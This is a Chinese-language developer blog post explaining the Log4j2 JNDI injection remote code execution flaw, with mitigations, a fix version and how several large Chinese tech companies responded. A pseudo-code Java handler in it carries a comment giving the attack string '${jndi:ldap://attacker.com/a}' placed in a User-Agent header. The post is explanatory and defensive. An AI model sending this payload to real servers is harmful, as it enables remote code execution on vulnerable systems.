大家好,我是爱撸码的开源大叔!
最近这两天 log4j2 的事情闹得是沸沸扬扬的,本来大叔我是两耳不闻窗外事,一心只敲圣贤码的,谁知,公司研发群的一则通知打破了本来的宁静。
这个时候,我才意识到了问题的严重性,然后我就去各大程序员社区(知乎、CSDN、开源中国等)搜了一下,果然,这件事被大家讨论的沸沸扬扬。
大叔并没有着急整理这篇文章,而是让子弹飞一会。
漏洞介绍
Apache Log4j2
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
漏洞原因
本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
那么什么是 JNDI 呢?
Java命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
利用下面这段代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。
代码语言:javascript复制public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * * This is basically pseudo-code to explain the vulnerability, and not a full example. * * @param he HTTP Request Object */
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" userAgent);
String response = "Hello There, " userAgent "!";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
影响范围
Apache Log4j 2.x <= 2.15.0-rc1(据悉,官方rc1补丁有被绕过的风险)
解决方式
当问题爆出来之后,大家都在积极修复该漏洞。
临时性缓解措施(任选一种)
- 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
- 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
- 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本
- 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
- 限制受影响应用对外访问互联网
- WAF 添加漏洞攻击代码临时拦截规则。
永久性解决方案
截止目前,Log4j2 官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞,大家可以升级到该版本来解决该漏洞。
八仙过海,各显神通
当问题出现之后,最重要的是先解决问题,咱国内的互联网大厂那可是一刻也没有松懈,全都迅速响应,拿出了自己的解决方案。
美团
org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。
美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。
美团内大部分业务使用 xmd-log4j2 , xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。
通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。
阿里
使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。
字节
安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。
同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。
百度
百度的我还没找到他们的解决方式,但是我偷偷的试了一下,确实已经解决了。
思考
我们是历史的经历者,也是历史的见证者,当出现这样足以被载入史册的重大事件之后,我们在“吃瓜”之余,也要有一些自己的思考。
不仅仅是 Apache Log4j 2 组件,而是只要有数据和代码未曾分离的地方,全都是注入攻击的可寻之地。因此我们在平时写代码的时候要严防各种注入,最常见的应该就是 SQL 注入了。
但是,我们也不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。
王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。